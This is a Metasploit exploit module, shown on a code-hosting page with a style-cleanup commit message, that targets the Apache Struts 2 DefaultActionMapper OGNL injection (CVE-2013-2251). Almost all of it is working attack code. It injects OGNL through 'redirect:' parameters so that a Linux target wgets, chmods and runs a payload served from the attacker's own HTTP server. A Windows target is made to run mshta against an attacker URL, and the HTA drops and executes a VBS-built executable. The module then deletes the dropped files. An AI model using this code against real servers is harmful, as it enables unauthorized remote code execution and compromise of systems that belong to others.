Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
431 lines
13 KiB
Ruby
431 lines
13 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
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'Description' => %q{
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The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
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state changes by prefixing parameters with "action:" or "redirect:", followed by
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a desired navigational target expression. This mechanism was intended to help with
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attaching navigational information to buttons within forms.
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In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
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"redirectAction:" is not properly sanitized. Since said information will be
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evaluated as OGNL expression against the value stack, this introduces the
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possibility to inject server side code.
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This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
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Windows 2003 SP2 and Ubuntu 10.04 operating systems.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Takeshi Terada', # Vulnerability discovery
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit modules
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],
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'References' =>
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[
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[ 'CVE', '2013-2251' ],
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[ 'OSVDB', '95405' ],
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[ 'BID', '61189' ],
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[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
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],
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'Platform' => %w{ linux win },
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'Targets' =>
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[
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['Automatic', {}],
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['Windows',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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['Linux',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultOptions' =>
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{
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'WfsDelay' => 10
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},
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'DisclosureDate' => 'Jul 2 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
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# It isn't OptPath becuase it's a *remote* path
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OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
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], self.class)
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end
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def on_new_session(session)
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if session.type == "meterpreter"
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session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
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end
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@dropped_files.delete_if do |file|
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false unless file =~ /\.exe/
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win_file = file.gsub("/", "\\\\")
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if session.type == "meterpreter"
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begin
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wintemp = session.fs.file.expand_path("%TEMP%")
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win_file = "#{wintemp}\\#{win_file}"
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session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
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session.fs.file.rm(win_file)
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print_good("Deleted #{file}")
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true
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rescue ::Rex::Post::Meterpreter::RequestError
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print_error("Failed to delete #{win_file}")
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false
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end
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end
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end
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super
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end
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def start_http_service
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#do not use SSL
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = srv_host + ':' + datastore['SRVPORT'].to_s
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print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
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start_service({
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'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => '/'
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}
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})
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datastore['SSL'] = true if ssl_restore
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return service_url
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end
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def check
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET'
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})
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if res.nil? or res.code != 200
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print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
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return Exploit::CheckCode::Unknown
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end
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proof = rand_text_alpha(6 + rand(4))
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res = send_request_cgi({
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'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
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'method' => 'GET'
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})
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if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Unknown
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end
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def auto_target
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET'
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})
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if res.nil? or res.code != 200
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fail_with(Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
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end
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proof = rand_text_alpha(6 + rand(4))
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res = send_request_cgi({
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'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
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'method' => 'GET'
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})
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if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
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if res.headers['Location'] =~ /:\\/
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return targets[1] # Windows
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else
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return targets[2] # Linux
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end
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end
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fail_with(Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
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end
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def exploit_linux
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downfile = rand_text_alpha(8+rand(8))
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@pl = @exe
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@pl_sent = false
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#
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# start HTTP service if necessary
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#
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service_url = start_http_service
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#
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# download payload
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#
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fname = datastore['WritableDir']
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fname = "#{fname}/" unless fname =~ %r'/$'
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fname << downfile
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
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print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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#
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# wait for payload download
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#
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wait_payload
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register_file_for_cleanup(fname)
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#
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# chmod
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#
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
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print_status("#{rhost}:#{rport} - Make payload executable...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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#
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# execute
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#
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"
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print_status("#{rhost}:#{rport} - Execute payload...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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end
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def exploit_windows
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@var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
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@pl = build_hta
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@pl_sent = false
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#
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# start HTTP service if necessary
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#
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service_url = start_http_service
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#
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# execute hta
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#
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uri = normalize_uri(target_uri.path)
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uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"
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print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res.nil? or res.code != 302
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
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end
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#
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# wait for payload download
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#
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wait_payload
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register_file_for_cleanup(@var_exename)
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end
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def exploit
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if target.name =~ /Automatic/
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print_status("#{rhost}:#{rport} - Target autodetection...")
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my_target = auto_target
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print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
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else
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my_target = target
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end
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p = exploit_regenerate_payload(my_target.platform, my_target.arch)
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@exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})
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if my_target.name =~ /Linux/
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if datastore['PAYLOAD'] =~ /windows/
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fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
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end
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exploit_linux
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elsif my_target.name =~ /Windows/
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if datastore['PAYLOAD'] =~ /linux/
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fail_with(Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
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end
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exploit_windows
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end
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end
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# Handle incoming requests from the server
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def on_request_uri(cli, request)
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vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
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if (not @pl)
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print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("#{rhost}:#{rport} - Sending the payload to the server...")
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@pl_sent = true
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send_response(cli, @pl)
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end
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# wait for the data to be sent
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def wait_payload
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print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
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waited = 0
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while (not @pl_sent)
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select(nil, nil, nil, 1)
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waited += 1
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if (waited > datastore['HTTP_DELAY'])
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
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end
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end
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end
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def build_hta
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var_shellobj = rand_text_alpha(rand(5)+5);
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var_fsobj = rand_text_alpha(rand(5)+5);
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var_fsobj_file = rand_text_alpha(rand(5)+5);
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var_vbsname = rand_text_alpha(rand(5)+5);
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var_writedir = rand_text_alpha(rand(5)+5);
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var_origLoc = rand_text_alpha(rand(5)+5);
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var_byteArray = rand_text_alpha(rand(5)+5);
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var_writestream = rand_text_alpha(rand(5)+5);
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var_strmConv = rand_text_alpha(rand(5)+5);
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# Doing in this way to bypass the ADODB.Stream restrictions on JS,
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# even when executing it as an "HTA" application
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# The encoding code has been stolen from ie_unsafe_scripting.rb
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print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");
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# Build the content that will end up in the .vbs file
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vbs_content = Rex::Text.to_hex(%Q|
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Dim #{var_origLoc}, s, #{var_byteArray}
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#{var_origLoc} = SetLocale(1033)
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|)
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# Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
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# for conversion with ADODB.Stream
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vbs_ary = []
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# The output of this loop needs to be as small as possible since it
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# gets repeated for every byte of the executable, ballooning it by a
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# factor of about 80k (the current size of the exe template). In its
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# current form, it's down to about 4MB on the wire
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@exe.each_byte do |b|
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vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
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end
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vbs_content << vbs_ary.join("")
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# Continue with the rest of the vbs file;
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# Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
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# Then use ADODB.Stream again to write the binary to file.
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#print_status("Finishing vbs...");
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vbs_content << Rex::Text.to_hex(%Q|
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Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
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#{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
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Set #{var_strmConv} = CreateObject("ADODB.Stream")
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#{var_strmConv}.Type = 2
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#{var_strmConv}.Charset = "x-ansi"
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#{var_strmConv}.Open
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#{var_strmConv}.WriteText s, 0
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#{var_strmConv}.Position = 0
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#{var_strmConv}.Type = 1
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#{var_strmConv}.SaveToFile #{var_writedir}, 2
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SetLocale(#{var_origLoc})|)
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hta = <<-EOS
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<script>
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var #{var_shellobj} = new ActiveXObject("WScript.Shell");
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var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
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var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
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var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
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#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
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#{var_fsobj_file}.Close();
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#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
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#{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
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#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
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window.close();
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</script>
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EOS
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return hta
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end
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end
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